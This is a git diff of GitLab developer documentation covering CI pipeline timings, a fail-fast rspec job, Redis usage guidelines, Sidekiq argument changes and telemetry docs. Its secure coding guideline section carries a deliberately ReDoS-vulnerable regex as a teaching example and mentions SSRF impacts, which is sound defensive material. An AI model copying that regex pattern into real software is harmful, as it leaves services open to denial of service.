click 1-3 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914317&udv=0"
1-4["compile-test-assets as-if-foss (8.35 minutes)"];
click 1-4 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8356616&udv=0"
- 1-5["compile-production-assets (22 minutes)"];
+ 1-5["compile-production-assets (19 minutes)"];
click 1-5 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914312&udv=0"
- 1-6["setup-test-env (8.22 minutes)"];
+ 1-6["setup-test-env (7.4 minutes)"];
click 1-6 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914315&udv=0"
1-7["review-stop-failed-deployment"];
1-8["dependency_scanning"];
1-9["qa:internal, qa:internal-as-if-foss"];
1-11["qa:selectors, qa:selectors-as-if-foss"];
- 1-14["retrieve-tests-metadata (1.5 minutes)"];
+ 1-14["retrieve-tests-metadata (1.9 minutes)"];
click 1-14 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8356697&udv=0"
1-15["code_quality"];
1-16["brakeman-sast"];
@@ -227,11 +219,9 @@ graph RL;
2_1-1 & 2_1-2 & 2_1-3 & 2_1-4 --> 1-6;
end
- 2_2-2["frontend-fixtures (17.2 minutes)"];
+ 2_2-2["frontend-fixtures (16.5 minutes)"];
class 2_2-2 criticalPath;
click 2_2-2 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=7910143&udv=0"
- 2_2-3["frontend-fixtures-as-if-foss (8.75 minutes)"];
- click 2_2-3 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=7910154&udv=0"
2_2-4["memory-on-boot (7.19 minutes)"];
click 2_2-4 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8356727&udv=0"
2_2-5["webpack-dev-server (6.1 minutes)"];
@@ -270,21 +260,15 @@ graph RL;
3_1-1["jest (15 minutes)"];
class 3_1-1 criticalPath;
click 3_1-1 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914204&udv=0"
- 3_1-2["karma (8 minutes)"];
+ 3_1-2["karma (4 minutes)"];
click 3_1-3 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914200&udv=0"
- 3_1-3["jest-as-if-foss (19.7 minutes)"];
- click 3_1-3 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914205&udv=0"
- 3_1-4["karma-as-if-foss (7.5 minutes)"];
- click 3_1-4 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914203&udv=0"
subgraph "Needs `frontend-fixtures`";
- 3_1-1 & 3_1-3 --> 2_2-2;
- 3_1-2 & 3_1-4 --> 2_2-3;
+ 3_1-1 & 3_1-2 --> 2_2-2;
end
- 3_2-1["rspec:coverage (6.5 minutes)"];
+ 3_2-1["rspec:coverage (7.5 minutes)"];
subgraph "Depends on `rspec` jobs";
3_2-1 -.->|"(don't use needs because of limitations)"| 2_5-1;
- class 3_2-1 criticalPath;
click 3_2-1 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=7248745&udv=0"
end
@@ -325,21 +309,21 @@ graph RL;
subgraph "No needed jobs";
1-1["danger-review (3.5 minutes)"];
click 1-1 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8100542&udv=0"
- 1-2["build-qa-image (3.4 minutes)"];
+ 1-2["build-qa-image (2.4 minutes)"];
click 1-2 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914325&udv=0"
- 1-3["compile-test-assets (9.06 minutes)"];
+ 1-3["compile-test-assets (8.5 minutes)"];
click 1-3 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914317&udv=0"
1-4["compile-test-assets as-if-foss (8.35 minutes)"];
click 1-4 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8356616&udv=0"
- 1-5["compile-production-assets (22 minutes)"];
+ 1-5["compile-production-assets (19 minutes)"];
click 1-5 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914312&udv=0"
- 1-6["setup-test-env (8.22 minutes)"];
+ 1-6["setup-test-env (7.4 minutes)"];
click 1-6 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=6914315&udv=0"
1-7["review-stop-failed-deployment"];
1-8["dependency_scanning"];
1-9["qa:internal, qa:internal-as-if-foss"];
1-11["qa:selectors, qa:selectors-as-if-foss"];
- 1-14["retrieve-tests-metadata (1.5 minutes)"];
+ 1-14["retrieve-tests-metadata (1.9 minutes)"];
click 1-14 "https://app.periscopedata.com/app/gitlab/652085/Engineering-Productivity---Pipeline-Build-Durations?widget=8356697&udv=0"
1-15["code_quality"];
1-16["brakeman-sast"];
@@ -373,6 +357,65 @@ graph RL;
end
```
+### Fail-fast pipeline in Merge Requests
+
+To provide faster feedback when a Merge Request breaks existing tests, we are experimenting with a
+fail-fast mechanism.
+
+An `rspec fail-fast` job is added in parallel to all other `rspec` jobs in a Merge
+Request pipeline. This job runs the tests that are directly related to the changes
+in the Merge Request.
+
+If any of these tests fail, the `rspec fail-fast` job fails, triggering a
+`fail-pipeline-early` job to run. The `fail-pipeline-early` job:
+
+- Cancels the currently running pipeline and all in-progress jobs.
+- Sets pipeline to have status `failed`.
+
+For example:
+
+```mermaid
+graph LR
+ subgraph "prepare stage";
+ A["detect-tests"]
+ end
+
+ subgraph "test stage";
+ B["jest"];
+ C["rspec migration"];
+ D["rspec unit"];
+ E["rspec integration"];
+ F["rspec system"];
+ G["rspec fail-fast"];
+ end
+
+ subgraph "post-test stage";
+ Z["fail-pipeline-early"];
+ end
+
+ A --"artifact: list of test files"--> G
+ G --"on failure"--> Z
+```
+
+A Merge Request author may choose to opt-out of the fail fast mechanism by doing one of the following:
+
+- Including `[SKIP RSPEC FAIL-FAST]` in the Merge Request title.
+- Starting the `dont-interrupt-me` job found in the `sync` stage of a Merge Request pipeline.
+
+The `rspec fail-fast` is a no-op if there are more than 10 test files related to the
+Merge Request. This prevents `rspec fail-fast` duration from exceeding the average
+`rspec` job duration and defeating its purpose.
+
+This number can be overridden by setting a CI variable named `RSPEC_FAIL_FAST_TEST_FILE_COUNT_THRESHOLD`.
+
+NOTE: **Note:**
+This experiment is only enabled when the CI variable `RSPEC_FAIL_FAST_ENABLED=true` is set.
+
+#### Determining related test files in a Merge Request
+
+The test files related to the Merge Request are determined using the [`test_file_finder`](https://gitlab.com/gitlab-org/ci-cd/test_file_finder) gem.
+We are using a custom mapping between source file to test files, maintained in the `tests.yml` file.
+
### PostgreSQL versions testing
#### Current versions testing
@@ -417,8 +460,8 @@ of the `gitlab-org/gitlab-foss` project. These jobs are only created in the foll
- Merge requests which include `RUN AS-IF-FOSS` in their title.
- Merge requests that changes the CI configuration.
-The `* as-if-foss` jobs have the `FOSS_ONLY='1'` variable set and gets their EE-specific
-folders removed before the tests start running.
+The `* as-if-foss` jobs are run in addition to the regular EE-context jobs. They have the `FOSS_ONLY='1'` variable
+set and get their EE-specific folders removed before the tests start running.
The intent is to ensure that a change won't introduce a failure once the `gitlab-org/gitlab` project will be synced to
the `gitlab-org/gitlab-foss` project.
@@ -514,8 +557,9 @@ overwrites the Git configuration with the appropriate settings to fetch
from the GitLab repository.
`CI_REPO_CACHE_CREDENTIALS` contains the Google Cloud service account
-JSON for uploading to the `gitlab-ci-git-repo-cache` bucket. These
-credentials are stored in the 1Password GitLab.com Production vault.
+JSON for uploading to the `gitlab-ci-git-repo-cache` bucket. (If you’re a
+GitLab Team Member, find credentials in the
+[GitLab shared 1Password account](https://about.gitlab.com/handbook/security/#1password-for-teams).
Note that this bucket should be located in the same continent as the
runner, or [network egress charges will apply](https://cloud.google.com/storage/pricing).
@@ -540,8 +584,10 @@ The current stages are:
later used by the (Helm) Review App deployment (see
[Review Apps](testing_guide/review_apps.md) for details).
- `review`: This stage includes jobs that deploy the GitLab and Docs Review Apps.
+- `dast`: This stage includes jobs that run a DAST full scan against the Review App
+that is deployed in stage `review`.
- `qa`: This stage includes jobs that perform QA tasks against the Review App
- that is deployed in the previous stage.
+ that is deployed in stage `review`.
- `post-qa`: This stage includes jobs that build reports or gather data from
the `qa` stage's jobs (e.g. Review App performance report).
- `pages`: This stage includes a job that deploys the various reports as
diff --git a/doc/development/redis.md b/doc/development/redis.md
index d5d42a3869e..d205082b9c6 100644
--- a/doc/development/redis.md
+++ b/doc/development/redis.md
@@ -1,10 +1,19 @@
# Redis guidelines
-GitLab uses [Redis](https://redis.io) for three distinct purposes:
+GitLab uses [Redis](https://redis.io) for the following distinct purposes:
-- Caching via `Rails.cache`.
+- Caching (mostly via `Rails.cache`).
- As a job processing queue with [Sidekiq](sidekiq_style_guide.md).
- To manage the shared application state.
+- As a Pub/Sub queue backend for ActionCable.
+
+In most environments (including the GDK), all of these point to the same
+Redis instance.
+
+On GitLab.com, we use [separate Redis
+instances](../administration/redis/replication_and_failover.md#running-multiple-redis-clusters).
+(We do not currently use [ActionCable on
+GitLab.com](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/228)).
Every application process is configured to use the same Redis servers, so they
can be used for inter-process communication in cases where [PostgreSQL](sql.md)
@@ -21,11 +30,11 @@ to key names to avoid collisions. Typically we use colon-separated elements to
provide a semblance of structure at application level. An example might be
`projects:1:somekey`.
-Although we split our Redis usage into three separate purposes, and those may
-map to separate Redis servers in a [Highly Available](../administration/high_availability/redis.md)
-configuration, the default Omnibus and GDK setups share a single Redis server.
-This means that keys should **always** be globally unique across the three
-purposes.
+Although we split our Redis usage by purpose into distinct categories, and
+those may map to separate Redis servers in a Highly Available
+configuration like GitLab.com, the default Omnibus and GDK setups share
+a single Redis server. This means that keys should **always** be
+globally unique across all categories.
It is usually better to use immutable identifiers - project ID rather than
full path, for instance - in Redis key names. If full path is used, the key will
@@ -56,3 +65,127 @@ Currently, we validate this in the development and test environments
with the [`RedisClusterValidator`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/instrumentation/redis_cluster_validator.rb),
which is enabled for the `cache` and `shared_state`
[Redis instances](https://docs.gitlab.com/omnibus/settings/redis.html#running-with-multiple-redis-instances)..
+
+## Redis in structured logging
+
+Our [structured logging](logging.md#use-structured-json-logging) for web
+requests and Sidekiq jobs contains fields for the duration, call count,
+bytes written, and bytes read per Redis instance, along with a total for
+all Redis instances. For a particular request, this might look like:
+
+| Field | Value |
+| --- | --- |
+| `json.queue_duration_s` | 0.01 |
+| `json.redis_cache_calls` | 1 |
+| `json.redis_cache_duration_s` | 0 |
+| `json.redis_cache_read_bytes` | 109 |
+| `json.redis_cache_write_bytes` | 49 |
+| `json.redis_calls` | 2 |
+| `json.redis_duration_s` | 0.001 |
+| `json.redis_read_bytes` | 111 |
+| `json.redis_shared_state_calls` | 1 |
+| `json.redis_shared_state_duration_s` | 0 |
+| `json.redis_shared_state_read_bytes` | 2 |
+| `json.redis_shared_state_write_bytes` | 206 |
+| `json.redis_write_bytes` | 255 |
+
+As all of these fields are indexed, it is then straightforward to
+investigate Redis usage in production. For instance, to find the
+requests that read the most data from the cache, we can just sort by
+`redis_cache_read_bytes` in descending order.
+
+### The slow log
+
+On GitLab.com, entries from the [Redis
+slow log](https://redis.io/commands/slowlog) are available in the
+`pubsub-redis-inf-gprd*` index with the [`redis.slowlog`
+tag](https://log.gprd.gitlab.net/app/kibana#/discover?_g=(filters:!(),refreshInterval:(pause:!t,value:0),time:(from:now-1d,to:now))&_a=(columns:!(json.type,json.command,json.exec_time),filters:!(('$state':(store:appState),meta:(alias:!n,disabled:!f,index:AWSQX_Vf93rHTYrsexmk,key:json.tag,negate:!f,params:(query:redis.slowlog),type:phrase),query:(match:(json.tag:(query:redis.slowlog,type:phrase))))),index:AWSQX_Vf93rHTYrsexmk)).
+This shows commands that have taken a long time and may be a performance
+concern.
+
+The
+[fluent-plugin-redis-slowlog](https://gitlab.com/gitlab-org/fluent-plugin-redis-slowlog)
+project is responsible for taking the slowlog entries from Redis and
+passing to fluentd (and ultimately Elasticsearch).
+
+## Analyzing the entire keyspace
+
+The [Redis Keyspace
+Analyzer](https://gitlab.com/gitlab-com/gl-infra/redis-keyspace-analyzer)
+project contains tools for dumping the full key list and memory usage of a Redis
+instance, and then analyzing those lists while elimating potentially sensitive
+data from the results. It can be used to find the most frequent key patterns, or
+those that use the most memory.
+
+Currently this is not run automatically for the GitLab.com Redis instances, but
+is run manually on an as-needed basis.
+
+## Utility classes
+
+We have some extra classes to help with specific use cases. These are
+mostly for fine-grained control of Redis usage, so they wouldn't be used
+in combination with the `Rails.cache` wrapper: we'd either use
+`Rails.cache` or these classes and literal Redis commands.
+
+`Rails.cache` or these classes and literal Redis commands. We prefer
+using `Rails.cache` so we can reap the benefits of future optimizations
+done to Rails. It is worth noting that Ruby objects are
+[marshalled](https://github.com/rails/rails/blob/v6.0.3.1/activesupport/lib/active_support/cache/redis_cache_store.rb#L447)
+when written to Redis, so we need to pay attention to not to store huge
+objects, or untrusted user input.
+
+Typically we would only use these classes when at least one of the
+following is true:
+
+1. We want to manipulate data on a non-cache Redis instance.
+1. `Rails.cache` does not support the operations we want to perform.
+
+### `Gitlab::Redis::{Cache,SharedState,Queues}`
+
+These classes wrap the Redis instances (using
+[`Gitlab::Redis::Wrapper`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/redis/wrapper.rb))
+to make it convenient to work with them directly. The typical use is to
+call `.with` on the class, which takes a block that yields the Redis
+connection. For example:
+
+```ruby
+# Get the value of `key` from the shared state (persistent) Redis
+Gitlab::Redis::SharedState.with { |redis| redis.get(key) }
+
+# Check if `value` is a member of the set `key`
+Gitlab::Redis::Cache.with { |redis| redis.sismember(key, value) }
+```
+
+### `Gitlab::Redis::Boolean`
+
+In Redis, every value is a string.
+[`Gitlab::Redis::Boolean`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/redis/boolean.rb)
+makes sure that booleans are encoded and decoded consistently.
+
+### `Gitlab::Redis::HLL`
+
+The Redis [`PFCOUNT`](https://redis.io/commands/pfcount),
+[`PFADD`](https://redis.io/commands/pfadd), and
+[`PFMERGE`](https://redis.io/commands/pfmergge) commands operate on
+HyperLogLogs, a data structure that allows estimating the number of unique
+elements with low memory usage. (In addition to the `PFCOUNT` documentation,
+Thoughtbot's article on [HyperLogLogs in
+Redis](https://thoughtbot.com/blog/hyperloglogs-in-redis) provides a good
+background here.)
+
+[`Gitlab::Redis::HLL`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/redis/hll.rb)
+provides a convenient interface for adding and counting values in HyperLogLogs.
+
+### `Gitlab::SetCache`
+
+For cases where we need to efficiently check the whether an item is in a group
+of items, we can use a Redis set.
+[`Gitlab::SetCache`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/set_cache.rb)
+provides an `#include?` method that will use the
+[`SISMEMBER`](https://redis.io/commands/sismember) command, as well as `#read`
+to fetch all entries in the set.
+
+This is used by the
+[`RepositorySetCache`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/repository_set_cache.rb)
+to provide a convenient way to use sets to cache repository data like branch
+names.
diff --git a/doc/development/repository_mirroring.md b/doc/development/repository_mirroring.md
index 1d4dbe88399..fe6db987471 100644
--- a/doc/development/repository_mirroring.md
+++ b/doc/development/repository_mirroring.md
@@ -3,7 +3,7 @@
## Deep Dive
In December 2018, Tiago Botelho hosted a Deep Dive (GitLab team members only: `https://gitlab.com/gitlab-org/create-stage/issues/1`)
-on GitLab's [Pull Repository Mirroring functionality](../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository-starter)
+on GitLab's [Pull Repository Mirroring functionality](../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository)
to share his domain specific knowledge with anyone who may work in this part of the
code base in the future. You can find the [recording on YouTube](https://www.youtube.com/watch?v=sSZq0fpdY-Y),
and the slides in [PDF](https://gitlab.com/gitlab-org/create-stage/uploads/8693404888a941fd851f8a8ecdec9675/Gitlab_Create_-_Pull_Mirroring_Deep_Dive.pdf).
diff --git a/doc/development/secure_coding_guidelines.md b/doc/development/secure_coding_guidelines.md
index 65953620ce6..1961d1dcc34 100644
--- a/doc/development/secure_coding_guidelines.md
+++ b/doc/development/secure_coding_guidelines.md
@@ -84,7 +84,7 @@ This Ruby Regex specialty can have security impact, as often regular expressions
GitLab specific examples can be found [here](https://gitlab.com/gitlab-org/gitlab/-/issues/36029#note_251262187) and [there](https://gitlab.com/gitlab-org/gitlab/-/issues/33569).
-Another example would be this fictional Ruby On Rails controller:
+Another example would be this fictional Ruby on Rails controller:
```ruby
class PingController < ApplicationController
@@ -127,9 +127,9 @@ class Email < ApplicationRecord
DOMAIN_MATCH = Regexp.new('([a-zA-Z0-9]+)+\.com')
validates :domain_matches
-
+
private
-
+
def domain_matches
errors.add(:email, 'does not match') if email =~ DOMAIN_MATCH
end
@@ -184,7 +184,7 @@ have been reported to GitLab include:
- Reading internal services, including cloud service metadata.
- The latter can be a serious problem, because an attacker can obtain keys that allow control of the victim's cloud infrastructure. (This is also a good reason
to give only necessary privileges to the token.). [More details](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/51490).
-- When combined with CRLF vulnerability, remote code execution. [More details](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/41293)
+- When combined with CRLF vulnerability, remote code execution. [More details](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/41293).
### When to Consider
@@ -213,7 +213,7 @@ the mitigations for a new feature.
#### Feature-specific Mitigations
-For situtions in which an allowlist or GitLab:HTTP cannot be used, it will be necessary to implement mitigations directly in the feature. It is best to validate the destination IP addresses themselves, not just domain names, as DNS can be controlled by the attacker. Below are a list of mitigations that should be implemented.
+For situations in which an allowlist or GitLab:HTTP cannot be used, it will be necessary to implement mitigations directly in the feature. It is best to validate the destination IP addresses themselves, not just domain names, as DNS can be controlled by the attacker. Below are a list of mitigations that should be implemented.
**Important Note:** There are many tricks to bypass common SSRF validations. If feature-specific mitigations are necessary, they should be reviewed by the AppSec team, or a developer who has worked on SSRF mitigations previously.
diff --git a/doc/development/shell_scripting_guide/index.md b/doc/development/shell_scripting_guide/index.md
index c04a4e90e59..622c90d7a97 100644
--- a/doc/development/shell_scripting_guide/index.md
+++ b/doc/development/shell_scripting_guide/index.md
@@ -65,7 +65,7 @@ shell check:
before_script:
- shellcheck --version
script:
- - shellcheck scripts/**/*.sh # path to your shell scripts
+ - shellcheck scripts/**/*.sh # path to your shell scripts
```
TIP: **Tip:**
@@ -93,7 +93,7 @@ shfmt:
before_script:
- shfmt -version
script:
- - shfmt -i 2 -ci -d scripts # path to your shell scripts
+ - shfmt -i 2 -ci -d scripts # path to your shell scripts
```
TIP: **Tip:**
diff --git a/doc/development/sidekiq_style_guide.md b/doc/development/sidekiq_style_guide.md
index c5dfc5731e6..fdea27f43ca 100644
--- a/doc/development/sidekiq_style_guide.md
+++ b/doc/development/sidekiq_style_guide.md
@@ -615,42 +615,51 @@ Jobs need to be backward and forward compatible between consecutive versions
of the application. Adding or removing an argument may cause problems
during deployment before all Rails and Sidekiq nodes have the updated code.
-#### Remove an argument
+#### Deprecate and remove an argument
-**Do not remove arguments from the `perform` function.**. Instead, use the
-following approach:
+**Before you remove arguments from the `perform_async` and `perform` methods.**, deprecate them. The
+following example deprecates and then removes `arg2` from the `perform_async` method:
1. Provide a default value (usually `nil`) and use a comment to mark the
- argument as deprecated
-1. Stop using the argument in `perform_async`.
-1. Ignore the value in the worker class, but do not remove it until the next
- major release.
+ argument as deprecated in the coming minor release. (Release M)
-In the following example, if you want to remove `arg2`, first set a `nil` default value,
-and then update locations where `ExampleWorker.perform_async` is called.
+ ```ruby
+ class ExampleWorker
+ # Keep arg2 parameter for backwards compatibility.
+ def perform(object_id, arg1, arg2 = nil)
+ # ...
+ end
+ end
+ ```
-```ruby
-class ExampleWorker
- def perform(object_id, arg1, arg2 = nil)
- # ...
- end
-end
-```
+1. One minor release later, stop using the argument in `perform_async`. (Release M+1)
+
+ ```ruby
+ ExampleWorker.perform_async(object_id, arg1)
+ ```
+
+1. At the next major release, remove the value from the worker class. (Next major release)
+
+ ```ruby
+ class ExampleWorker
+ def perform(object_id, arg1)
+ # ...
+ end
+ end
+ ```
#### Add an argument
There are two options for safely adding new arguments to Sidekiq workers:
-1. Set up a [multi-step deployment](#multi-step-deployment) in which the new argument is first added to the worker
+1. Set up a [multi-step deployment](#multi-step-deployment) in which the new argument is first added to the worker.
1. Use a [parameter hash](#parameter-hash) for additional arguments. This is perhaps the most flexible option.
##### Multi-step deployment
-This approach requires multiple merge requests and for the first merge request
-to be merged and deployed before additional changes are merged.
+This approach requires multiple releases.
-1. In an initial merge request, add the argument to the worker with a default
- value:
+1. Add the argument to the worker with a default value (Release M).
```ruby
class ExampleWorker
@@ -660,16 +669,28 @@ to be merged and deployed before additional changes are merged.
end
```
-1. Merge and deploy the worker with the new argument.
-1. In a further merge request, update `ExampleWorker.perform_async` calls to
- use the new argument.
+1. Add the new argument to all the invocations of the worker (Release M+1).
+
+ ```ruby
+ ExampleWorker.perform_async(object_id, new_arg)
+ ```
+
+1. Remove the default value (Release M+2).
+
+ ```ruby
+ class ExampleWorker
+ def perform(object_id, new_arg)
+ # ...
+ end
+ end
+ ```
##### Parameter hash
-This approach will not require multiple deployments if an existing worker already
+This approach will not require multiple releases if an existing worker already
utilizes a parameter hash.
-1. Use a parameter hash in the worker to allow for future flexibility:
+1. Use a parameter hash in the worker to allow future flexibility.
```ruby
class ExampleWorker
diff --git a/doc/development/telemetry/snowplow.md b/doc/development/telemetry/snowplow.md
index 547ba36464b..f427d7d1488 100644
--- a/doc/development/telemetry/snowplow.md
+++ b/doc/development/telemetry/snowplow.md
@@ -40,7 +40,7 @@ Snowplow is an enterprise-grade marketing and product analytics platform which h
We have many definitions of Snowplow's schema. We have an active issue to [standardize this schema](https://gitlab.com/gitlab-org/gitlab/-/issues/207930) including the following definitions:
- Frontend and backend taxonomy as listed below
-- [Feature instrumentation taxonomy](https://about.gitlab.com/handbook/product/product-processes/#taxonomy)
+- [Feature instrumentation taxonomy](https://about.gitlab.com/handbook/business-ops/data-team/programs/data-for-product-managers/#sts=Taxonomy)
- [Self describing events](https://github.com/snowplow/snowplow/wiki/Custom-events#self-describing-events)
- [Iglu schema](https://gitlab.com/gitlab-org/iglu/)
- [Snowplow authored events](https://github.com/snowplow/snowplow/wiki/Snowplow-authored-events)
@@ -98,13 +98,13 @@ sequenceDiagram
## Implementing Snowplow JS (Frontend) tracking
-GitLab provides `Tracking`, an interface that wraps the [Snowplow JavaScript Tracker](https://github.com/snowplow/snowplow/wiki/javascript-tracker) for tracking custom events. There are a few ways to utilize tracking, but each generally requires at minimum, a `category` and an `action`. Additional data can be provided that adheres to our [Feature instrumentation taxonomy](https://about.gitlab.com/handbook/product/product-processes/#taxonomy).
+GitLab provides `Tracking`, an interface that wraps the [Snowplow JavaScript Tracker](https://github.com/snowplow/snowplow/wiki/javascript-tracker) for tracking custom events. There are a few ways to utilize tracking, but each generally requires at minimum, a `category` and an `action`. Additional data can be provided that adheres to our [Feature instrumentation taxonomy](https://about.gitlab.com/handbook/business-ops/data-team/programs/data-for-product-managers/#sts=Taxonomy).
| field | type | default value | description |
|:-----------|:-------|:---------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| `category` | string | document.body.dataset.page | Page or subsection of a page that events are being captured within. |
| `action` | string | 'generic' | Action the user is taking. Clicks should be `click` and activations should be `activate`, so for example, focusing a form field would be `activate_form_input`, and clicking a button would be `click_button`. |
-| `data` | object | {} | Additional data such as `label`, `property`, `value`, and `context` as described [in our Feature Instrumentation taxonomy](https://about.gitlab.com/handbook/product/product-processes/#taxonomy). |
+| `data` | object | {} | Additional data such as `label`, `property`, `value`, and `context` as described [in our Feature Instrumentation taxonomy](https://about.gitlab.com/handbook/business-ops/data-team/programs/data-for-product-managers/#sts=Taxonomy). |
### Tracking in HAML (or Vue Templates)
@@ -131,10 +131,10 @@ Below is a list of supported `data-track-*` attributes:
| attribute | required | description |
|:----------------------|:---------|:------------|
| `data-track-event` | true | Action the user is taking. Clicks must be prepended with `click` and activations must be prepended with `activate`. For example, focusing a form field would be `activate_form_input` and clicking a button would be `click_button`. |
-| `data-track-label` | false | The `label` as described [in our Feature Instrumentation taxonomy](https://about.gitlab.com/handbook/product/product-processes/#taxonomy). |
-| `data-track-property` | false | The `property` as described [in our Feature Instrumentation taxonomy](https://about.gitlab.com/handbook/product/product-processes/#taxonomy). |
-| `data-track-value` | false | The `value` as described [in our Feature Instrumentation taxonomy](https://about.gitlab.com/handbook/product/product-processes/#taxonomy). If omitted, this is the element's `value` property or an empty string. For checkboxes, the default value is the element's checked attribute or `false` when unchecked. |
-| `data-track-context` | false | The `context` as described [in our Feature Instrumentation taxonomy](https://about.gitlab.com/handbook/product/product-processes/#taxonomy). |
+| `data-track-label` | false | The `label` as described [in our Feature Instrumentation taxonomy](https://about.gitlab.com/handbook/business-ops/data-team/programs/data-for-product-managers/#sts=Taxonomy). |
+| `data-track-property` | false | The `property` as described [in our Feature Instrumentation taxonomy](https://about.gitlab.com/handbook/business-ops/data-team/programs/data-for-product-managers/#sts=Taxonomy). |
+| `data-track-value` | false | The `value` as described [in our Feature Instrumentation taxonomy](https://about.gitlab.com/handbook/business-ops/data-team/programs/data-for-product-managers/#sts=Taxonomy). If omitted, this is the element's `value` property or an empty string. For checkboxes, the default value is the element's checked attribute or `false` when unchecked. |
+| `data-track-context` | false | The `context` as described [in our Feature Instrumentation taxonomy](https://about.gitlab.com/handbook/business-ops/data-team/programs/data-for-product-managers/#sts=Taxonomy). |
### Tracking within Vue components
@@ -278,7 +278,7 @@ Custom event tracking and instrumentation can be added by directly calling the `
|:-----------|:-------|:--------------|:-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| `category` | string | 'application' | Area or aspect of the application. This could be `HealthCheckController` or `Lfs::FileTransformer` for instance. |
| `action` | string | 'generic' | The action being taken, which can be anything from a controller action like `create` to something like an Active Record callback. |
-| `data` | object | {} | Additional data such as `label`, `property`, `value`, and `context` as described in [Instrumentation at GitLab](https://about.gitlab.com/handbook/product/product-processes/#taxonomy). These are set as empty strings if you don't provide them. |
+| `data` | object | {} | Additional data such as `label`, `property`, `value`, and `context` as described in [Instrumentation at GitLab](https://about.gitlab.com/handbook/business-ops/data-team/programs/data-for-product-managers/#sts=Taxonomy). These are set as empty strings if you don't provide them. |
Tracking can be viewed as either tracking user behavior, or can be utilized for instrumentation to monitor and visualize performance over time in an area or aspect of code.
@@ -316,6 +316,11 @@ There are several tools for developing and testing Snowplow Event
**{check-circle}** Available, **{status_preparing}** In progress, **{dotted-circle}** Not Planned
+### Preparing your MR for Review
+
+1. For frontend events, in the MR description section, add a screenshot of the event's relevant section using the [Snowplow Analytics Debugger](https://chrome.google.com/webstore/detail/snowplow-analytics-debugg/jbnlcgeengmijcghameodeaenefieedm) Chrome browser extension.
+1. For backend events, please use Snowplow Micro and add the output of the Snowplow Micro good events `GET http://localhost:9090/micro/good`.
+
### Snowplow Analytics Debugger Chrome Extension
Snowplow Analytics Debugger is a browser extension for testing frontend events. This works on production, staging and local development environments.
@@ -393,7 +398,7 @@ Snowplow Micro is a Docker-based solution for testing frontend and backend event
1. Send a test Snowplow event from the Rails console:
```ruby
- Gitlab::Tracking.self_describing_event('iglu:com.gitlab/pageview_context/jsonschema/1-0-0', { page_type: ‘MY_TYPE' }, context: nil )
+ Gitlab::Tracking.self_describing_event('iglu:com.gitlab/pageview_context/jsonschema/1-0-0', { page_type: 'MY_TYPE' }, context: nil )
```
### Snowplow Mini
diff --git a/doc/development/telemetry/usage_ping.md b/doc/development/telemetry/usage_ping.md
index ea5eb6c389f..ff4e7e0797b 100644
--- a/doc/development/telemetry/usage_ping.md
+++ b/doc/development/telemetry/usage_ping.md
@@ -37,7 +37,7 @@ More useful links:
- The main purpose of Usage Ping is to build a better GitLab. Data about how GitLab is used is collected to better understand feature/stage adoption and usage, which helps us understand how GitLab is adding value and helps our team better understand the reasons why people use GitLab and with this knowledge we're able to make better product decisions.
- As a benefit of having the usage ping active, GitLab lets you analyze the users’ activities over time of your GitLab installation.
-- As a benefit of having the usage ping active, GitLab provides you with The DevOps Score,which gives you an overview of your entire instance’s adoption of Concurrent DevOps from planning to monitoring.
+- As a benefit of having the usage ping active, GitLab provides you with The DevOps Report,which gives you an overview of your entire instance’s adoption of Concurrent DevOps from planning to monitoring.
- You will get better, more proactive support. (assuming that our TAMs and support organization used the data to deliver more value)
- You will get insight and advice into how to get the most value out of your investment in GitLab. Wouldn't you want to know that a number of features or values are not being adopted in your organization?
- You get a report that illustrates how you compare against other similar organizations (anonymized), with specific advice and recommendations on how to improve your DevOps processes.
@@ -108,7 +108,7 @@ sequenceDiagram
S3 Bucket->>Snowflake DW: Import data
Snowflake DW->>Snowflake DW: Transform data using dbt
Snowflake DW->>Sisense Dashboards: Data available for querying
- Versions Application->>GitLab Instance: DevOps Score (Conversational Development Index)
+ Versions Application->>GitLab Instance: DevOps Report (Conversational Development Index)
```
## How Usage Ping works
